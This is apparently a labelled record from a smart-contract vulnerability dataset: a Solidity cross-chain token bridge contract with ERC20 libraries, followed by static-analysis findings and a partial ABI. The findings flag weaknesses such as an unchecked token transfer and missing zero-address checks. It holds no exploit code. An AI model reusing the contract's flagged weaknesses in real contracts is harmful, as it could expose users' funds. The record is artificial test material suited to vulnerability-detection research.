* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol
/**
* @title ERC20Detailed token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @return the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: contracts/PortedToken.sol
contract PortedToken is TeleportOwnable, ERC20, ERC20Detailed{
constructor(string memory name, string memory symbol, uint8 decimals)
public ERC20Detailed(name, symbol, decimals) {}
function mint(address to, uint256 value) public onlyTeleport {
super._mint(to, value);
}
function burn(address from, uint256 value) public onlyTeleport {
super._burn(from, value);
}
}
// File: contracts/Port.sol
// Port is a contract that sends and recieves tokens to implement token
// teleportation between chains.
//
// Naming convention:
// - token: "main" is the original token and "cloned" is the ported one on
// this/another chain.
// - address: "addr" is the address on this chain and "alt" is the one on
// another chain.
contract Port is FoundationOwnable {
// Library
using SafeMath for uint256;
// States
// Beneficiary address is the address that the remaining tokens will be
// transferred to for selfdestruct.
address payable public beneficiary;
// registeredMainTokens stores the tokens that are ported on this chain.
address[] public registeredMainTokens;
// registeredClonedTokens stores the ported tokens created by the foundation.
address[] public registeredClonedTokens;
// breakoutTokens is an address to address mapping that maps the currencies
// to break out to the destination contract address on the destination chain.
// Note that the zero address 0x0 represents the native token in this mapping.
//
// mapping structure
// main currency address [this chain]
// -> alt chain id of cloned token address
// -> cloned token address [alt chain]
mapping (address => mapping (uint256 => bytes)) public breakoutTokens;
// breakinTokens is an address to address mapping that maps the ported token
// contracts on this chain to the currencies on the source chain.
//
// mapping structure
// cloned token address [this chain]
// -> alt chain id of main currency address
// -> main currency address [alt chain]
mapping (address => mapping (uint256 => bytes)) public breakinTokens;
// proofs is an bytes to bool mapping that labels a proof is used, including
// for withdrawal and mint.
mapping (bytes => bool) proofs;
// minPortValue records the minimum allowed porting value for each currency.
//
// mapping structure
// main/cloned currency address [this chain]
// -> chain id of main/cloned currency address
// -> minimum breakout value
mapping (address => mapping (uint256 => uint256)) public minPortValue;
// Events
// A Deposit event is emitted when a user deposits native currency or tokens
// with value into the Port contract to break out to the dest_addr as ported
// token with cloned_token as address on the chain with chain_id
event Deposit(
uint256 indexed chain_id, // id of the destination chain.
bytes indexed cloned_token_hash,
bytes indexed alt_addr_hash,
address main_token, // the source token address
bytes cloned_token, // alt token address on the destination chain.
bytes alt_addr, // address of receiving alt token on the dest chain.
uint256 value // value to deposit.
);
// A Withdraw event is emitted when a user sends withdrawal transaction
// with proof to the Port on the destination chain to withdraw native
// currency or token with value to the dest_addr.
event Withdraw(
uint256 indexed chain_id, // id of the destination chain.
address indexed main_token, // the source token address on this chain.
address indexed addr, // address to withdraw to on this chain.
bytes proof, // proof on the destination chain.
bytes cloned_token, // the dest token address on alt chain.
uint256 value // value to withdraw.
);
// A RegisterBreakout event is emitted when the foundation registers a pair
// of currencies to break out to a destination chain.
// Note that
// - the zero address 0x0 of main_token represents the native currency
// - cloned_token must be a PortedToken
event RegisterBreakout(
uint256 indexed chain_id, // id of the destination chain.
address indexed main_token, // source token address on this chain.
bytes indexed cloned_token_hash,
bytes cloned_token, // new destination address on the destination chain.
bytes old_cloned_token, // old destination address on the destination chain.
uint256 minValue // minimum value to deposit and withdraw.
);
// A RegisterBreakin event is emitted when the foundation registers a pair
// of currencies to break in from a source chain.
// Note that
// - the zero address 0x0 of main_token represents the native currency
// - cloned_token must be a PortedToken
event RegisterBreakin(
uint256 indexed chain_id, // id of the source chain.
address indexed cloned_token, // destination token address on this chain.
bytes indexed main_token_hash,
bytes main_token, // new source address on the source chain.
bytes old_main_token, // old source address on the source chain.
uint256 minValue // minimum value to mint and burn.
);
// A Mint event is emitted when the foundation mints token with value to the
// dest_addr as a user sends the transaction with proof on the source chain.
event Mint(
uint256 indexed chain_id, // id of the source chain.
address indexed cloned_token, // destination token address on this chain.
address indexed addr, // destination address to mint to.
bytes proof, // proof of the deposit on the source chain.
bytes main_token, // the source token on alt chain.
uint256 value // value to mint.
);
// A Burn event is emitted when a user burns broken-in tokens to withdraw to
// dest_addr on the source chain.
event Burn(
uint256 indexed chain_id, // id of the source chain to burn to.
bytes indexed main_token_hash,
bytes indexed alt_addr_hash,
address cloned_token, // destination token on this chain.
bytes main_token, // source token on the source chain.
bytes alt_addr, // destination address on the source chain.
uint256 value // value to burn
);
constructor(address payable foundation_beneficiary) public {
beneficiary = foundation_beneficiary;
}
function destruct() public onlyFoundation {
// transfer all tokens to beneficiary.
for (uint i=0; i<registeredMainTokens.length; i++) {
IERC20 token = IERC20(registeredMainTokens[i]);
uint256 balance = token.balanceOf(address(this));
token.transfer(beneficiary, balance);
}
// transfer the ported tokens' control to the beneficiary
for (uint i=0; i<registeredClonedTokens.length; i++) {
PortedToken token = PortedToken(registeredClonedTokens[i]);
token.transferTeleport(beneficiary);
}
selfdestruct(beneficiary);
}
modifier breakoutRegistered(uint256 chain_id, address token) {
require(breakoutTokens[token][chain_id].length != 0, 'unregistered token');
_;
}
modifier breakinRegistered(uint256 chain_id, address token) {
require(breakinTokens[token][chain_id].length != 0, 'unregistered token');
_;
}
modifier validAmount(uint256 chain_id, address token, uint256 value) {
require(value >= minPortValue[token][chain_id], "value less than min amount");
_;
}
modifier validProof(bytes memory proof) {
require(!proofs[proof], 'duplicate proof');
_;
}
function isProofUsed(bytes memory proof) view public returns (bool) {
return proofs[proof];
}
// Caller needs to send at least min value native token when called (payable).
// A Deposit event will be emitted for the foundation server to mint the
// corresponding wrapped tokens to the dest_addr on the destination chain.
//
// chain_id: The id of destination chain.
// alt_addr: The address to mint to on the destination chain.
// value: The value to mint.
function depositNative(
uint256 chain_id,
bytes memory alt_addr
)
payable
public
whenNotPaused
breakoutRegistered(chain_id, address(0))
validAmount(chain_id, address(0), msg.value)
{
bytes memory cloned_token = breakoutTokens[address(0)][chain_id];
emit Deposit(chain_id,
cloned_token, alt_addr, // indexed bytes value hashed automatically
address(0), cloned_token, alt_addr, msg.value);
}
function () payable external {
revert('not allowed to send value');
}
// Caller needs to provide a proof of the transfer (proof).
// A Deposit event will be emitted for the foundation server to mint the
// corresponding wrapped tokens to the dest_addr on the destination chain.
//
// main_token: The token to deposit with.
// chain_id: The id of destination chain.
// alt_addr: The address to mint to on the destination chain.
// value: The value to mint.
function depositToken(
address main_token,
uint256 chain_id,
bytes memory alt_addr,
uint256 value
)
public
whenNotPaused
breakoutRegistered(chain_id, main_token)
validAmount(chain_id, main_token, value)
{
bytes memory cloned_token = breakoutTokens[main_token][chain_id];
emit Deposit(chain_id,
cloned_token, alt_addr, // indexed bytes value hashed automatically
main_token, cloned_token, alt_addr, value);
IERC20 token = IERC20(main_token);
require(token.transferFrom(msg.sender, address(this), value));
}
// Caller needs to provide a proof of the transfer (proof).
//
// chain_id: The alt chain where the burn proof is.
// proof: The proof of the corresponding transaction on the source chain.
// addr: The address to withdraw to on this chain.
// value: The value to withdraw.
function withdrawNative(
uint256 chain_id,
bytes memory proof,
address payable addr,
uint256 value
)
public
whenNotPaused
onlyFoundation
breakoutRegistered(chain_id, address(0))
validProof(proof)
validAmount(chain_id, address(0), value)
{
bytes memory cloned_token = breakoutTokens[address(0)][chain_id];
emit Withdraw(chain_id, address(0), addr, proof, cloned_token, value);
proofs[proof] = true;
addr.transfer(value);
}
// Caller needs to provide a proof of the transfer (proof).
//
// chain_id: The alt chain where the burn proof is.
// proof: The proof of the corresponding transaction on the destination chain.
// main_token: The address of the token to mint on this chain.
// addr: The address to withdraw to on this chain.
// value: The value to withdraw.
function withdrawToken(
uint256 chain_id,
bytes memory proof,
address main_token,
address addr,
uint256 value
)
public
whenNotPaused
onlyFoundation
breakoutRegistered(chain_id, main_token)
validAmount(chain_id, main_token, value)
validProof(proof)
{
bytes memory cloned_token = breakoutTokens[main_token][chain_id];
emit Withdraw(chain_id, main_token, addr, proof, cloned_token, value);
proofs[proof] = true;
IERC20 token = IERC20(main_token);
require(token.transfer(addr, value));
}
// Caller needs to provide the source and the destination of the mapped
// token contract. The mapping will be updated if the register function is
// called with a registered source address. The token is revoked if the dest
// address is set to zero-length bytes.
//
// main_token: The address of the token on this chain.
// chain_id: The id of the chain the cloned token is in.
// cloned_token: The address of the token on the alt chain (dest chain).
// old_cloned_token: The original address of the cloned token.
// minValue: The minimum amount of each deposit/burn can transfer with.
function registerBreakout(
address main_token,
uint256 chain_id,
bytes memory old_cloned_token,
bytes memory cloned_token,
uint256 minValue
)
public
whenNotPaused
onlyFoundation
{
require(keccak256(breakoutTokens[main_token][chain_id]) == keccak256(old_cloned_token), 'wrong old dest');
emit RegisterBreakout(chain_id, main_token,
cloned_token, // indexed bytes value is hashed automatically
cloned_token, old_cloned_token, minValue);
breakoutTokens[main_token][chain_id] = cloned_token;
minPortValue[main_token][chain_id] = minValue;
bool firstTimeRegistration = old_cloned_token.length == 0;
if (main_token != address(0) && firstTimeRegistration) {
registeredMainTokens.push(main_token);
}
}
// Caller needs to provide the source and the destination of the mapped
// token contract. The mapping will be updated if the register function is
// called with a registered source address. The token is revoked if the dest
// address is set to zero-length bytes.
//
// cloned_token: The address of the token on this chain.
// chain_id: The id of the chain the main token is in.
// main_token: The address of the token on the alt chain (source chain).
// old_main_token: The original address of the main token.
// minValue: The minimum amount of each deposit/burn can transfer with.
function registerBreakin(
address cloned_token,
uint256 chain_id,
bytes memory old_main_token,
bytes memory main_token,
uint256 minValue
)
public
whenNotPaused
onlyFoundation
{
require(keccak256(breakinTokens[cloned_token][chain_id]) == keccak256(old_main_token), 'wrong old src');
emit RegisterBreakin(chain_id, cloned_token,
main_token, // indexed bytes value is hashed automatically
main_token, old_main_token, minValue);
breakinTokens[cloned_token][chain_id] = main_token;
minPortValue[cloned_token][chain_id] = minValue;
bool firstTimeRegistration = old_main_token.length == 0;
if (firstTimeRegistration) {
registeredClonedTokens.push(cloned_token);
}
}
// Caller needs to provide the proof of the Deposit (proof), which
// can be verified on the source chain with corresponding transaction.
//
// chain_id: The id of the chain the main token is in.
// proof: The proof of the corresponding transaction on alt chain.
// cloned_token: The address of the token to mint on this chain.
// addr: The address to mint to on this chain.
// value: The value to mint.
function mint(
uint256 chain_id,
bytes memory proof,
address cloned_token,
address addr,
uint256 value
)
public
whenNotPaused
onlyFoundation
breakinRegistered(chain_id, cloned_token)
validAmount(chain_id, cloned_token, value)
validProof(proof)
{
bytes memory main_token = breakinTokens[cloned_token][chain_id];
emit Mint(chain_id, cloned_token, addr, proof, main_token, value);
proofs[proof] = true;
PortedToken token = PortedToken(cloned_token);
token.mint(addr, value);
}
// Caller needs to provide the proof of the Burn (proof), which contains
// proof matching the destination and value.
//
// chain_id: The id of the chain the main token is in.
// cloned_token: The address of the ported token on this chain.
// alt_addr: The address to withdraw to on altchain.
// value: The value to withdraw.
function burn(
uint256 chain_id,
address cloned_token,
bytes memory alt_addr,
uint256 value
)
public
whenNotPaused
breakinRegistered(chain_id, cloned_token)
validAmount(chain_id, cloned_token, value)
{
bytes memory main_token = breakinTokens[cloned_token][chain_id];
emit Burn(chain_id,
main_token, alt_addr, // indexed value are hashed automatically
cloned_token, main_token, alt_addr, value);
PortedToken token = PortedToken(cloned_token);
token.burn(msg.sender, value);
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["784"]}, {"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["666", "673"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["808", "722", "912", "939", "779", "751"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Port.sol": [226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Port.sol": [460, 461, 462, 463, 464]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Port.sol": [276, 277, 278, 279]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Port.sol": [243, 244, 245, 246, 247, 248, 249, 250]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [504, 505, 503]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [496, 497, 498]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [489, 490, 491]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [366, 367, 368, 369, 370, 371]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [128, 129, 130, 131]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [67, 68, 69]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [401, 402, 403, 404, 405, 406, 407]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [317, 318, 319]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [336, 337, 338, 339]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [384, 385, 386, 387, 388, 389, 383]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [520, 521, 519]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [72, 73, 71]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [136, 137, 138, 139]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [672, 673, 674, 675, 676, 677, 678, 679, 664, 665, 666, 667, 668, 669, 670, 671]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 766, 767]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [515, 516, 517]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [160, 161, 162, 163, 164, 165, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [701, 702, 703]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [185, 186, 187, 188, 189]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [308, 309, 310]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [352, 353, 354, 355, 356, 350, 351]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [105, 106, 107]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Port.sol": [328, 329, 327]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [1]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Port.sol": [489, 490, 491]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Port.sol": [496, 497, 498]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Port.sol": [496, 497, 498]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Port.sol": [504, 505, 503]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Port.sol": [489, 490, 491]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"Port.sol": [504, 505, 503]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"Port.sol": [661]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"Port.sol": [784]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Port.sol": [675]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Port.sol": [668]}}, {"check": "calls-loop", "impact": "Low", "confidence": "Medium", "lines": {"Port.sol": [669]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [829]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [866]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [901]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [931]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [867]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [795]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [868]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [832]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [743]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [865]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [929]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [830]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [741]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [899]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [797]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [714]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [831]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [930]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [713]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [742]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"Port.sol": [767]}}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium", "lines": {"Port.sol": [669]}}] | [] | [{"rule": "SOLIDITY_ERC20_APPROVE", "line": 350, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 534, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 52, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 96, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 299, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 301, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 303, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 476, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 477, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 478, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 297, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 536, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 660, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 571, "severity": 1}] | [{"constant":false,"inputs":[{"name":"cloned_token","type":"address"},{"name":"chain_id","type":"uint256"},{"name":"old_main_token","type":"bytes"},{"name":"main_token","type":"bytes"},{"name":"minValue","type":"uint256"}],"name":"registerBreakin","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"registeredClonedTokens","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"destruct","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"f","type":"address"}],"name":"transferFoundation","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"beneficiary","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"foundation","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"account","type":"address"}],"name":"isPauser","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"uint256"}],"name":"registeredMainTokens","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"uint256"}],"name":"minPortValue","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"main_token","type":"address"},{"name":"chain_id","type":"uint256"},{"name":"old_cloned_token","type":"bytes"},{"name":"cloned_token","type":"bytes"},{"name":"minValue","type":"uint256"}],"name":"registerBreakout","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"renouncePauser","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"chain_id","type":"uint256"},{"name":"proof","type":"bytes"},{"name":"main_token","type":"address"},{"name":"addr","type":"address"},{"name":"value","type":"uint256"}],"name":"withdrawToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"uint256"}],"name":"breakinTokens","outputs":[{"name":"","type":"bytes"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"account","type":"address"}],"name":"addPauser","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"chain_id","type":"uint256"},{"name":"proof","type":"bytes"},{"name":"cloned_token","type":"address"},{"name":"addr","type":"address"},{"name":"value","type":"uint256"}],"name":"mint","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"proof","type":"bytes"}],"name":"isProofUsed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"